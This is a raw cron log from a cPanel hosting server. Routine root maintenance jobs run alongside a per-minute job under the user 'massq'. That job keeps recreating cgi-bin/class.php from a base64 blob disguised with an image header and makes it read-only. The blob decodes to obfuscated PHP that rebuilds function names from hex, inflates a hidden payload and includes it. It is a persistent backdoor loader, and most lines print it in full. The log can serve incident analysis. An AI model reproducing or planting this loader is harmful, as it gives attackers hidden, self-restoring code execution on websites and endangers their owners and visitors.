Sep  8 22:28:01 server CROND[3325]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 22:28:01 server CROND[3326]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 22:28:01 server CROND[3327]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 22:29:01 server CROND[3709]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 22:29:01 server CROND[3710]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 22:29:01 server CROND[3711]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 22:30:01 server CROND[4090]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 22:30:01 server CROND[4093]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 22:30:01 server CROND[4095]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 22:30:01 server CROND[4092]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 22:30:01 server CROND[4098]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 22:30:01 server CROND[4099]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 22:30:01 server CROND[4097]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 22:30:01 server CROND[4096]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 22:31:01 server CROND[4923]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 22:31:01 server CROND[4924]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 22:31:01 server CROND[4925]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 22:32:01 server CROND[5397]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 22:32:01 server CROND[5398]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 22:32:01 server CROND[5399]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 22:33:01 server CROND[5780]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 22:33:01 server CROND[5781]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 22:33:01 server CROND[5782]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 22:34:01 server CROND[6159]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 22:34:01 server CROND[6160]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 22:34:01 server CROND[6161]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 22:35:01 server CROND[6545]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  8 22:35:01 server CROND[6549]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 22:35:01 server CROND[6552]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 22:35:01 server CROND[6550]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 22:35:01 server CROND[6551]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 22:35:01 server CROND[6556]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 22:35:01 server CROND[6555]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  8 22:35:01 server CROND[6554]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 22:35:01 server CROND[6553]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 22:36:01 server CROND[7396]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 22:36:01 server CROND[7397]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 22:36:01 server CROND[7398]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 22:37:01 server CROND[7776]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 22:37:01 server CROND[7777]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 22:37:01 server CROND[7778]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 22:38:01 server CROND[8263]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 22:38:01 server CROND[8264]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 22:38:01 server CROND[8265]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 22:39:01 server CROND[8875]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 22:39:01 server CROND[8876]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 22:39:01 server CROND[8877]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 22:39:01 server CROND[8878]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  8 22:40:01 server CROND[9284]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 22:40:01 server CROND[9285]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 22:40:01 server CROND[9291]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
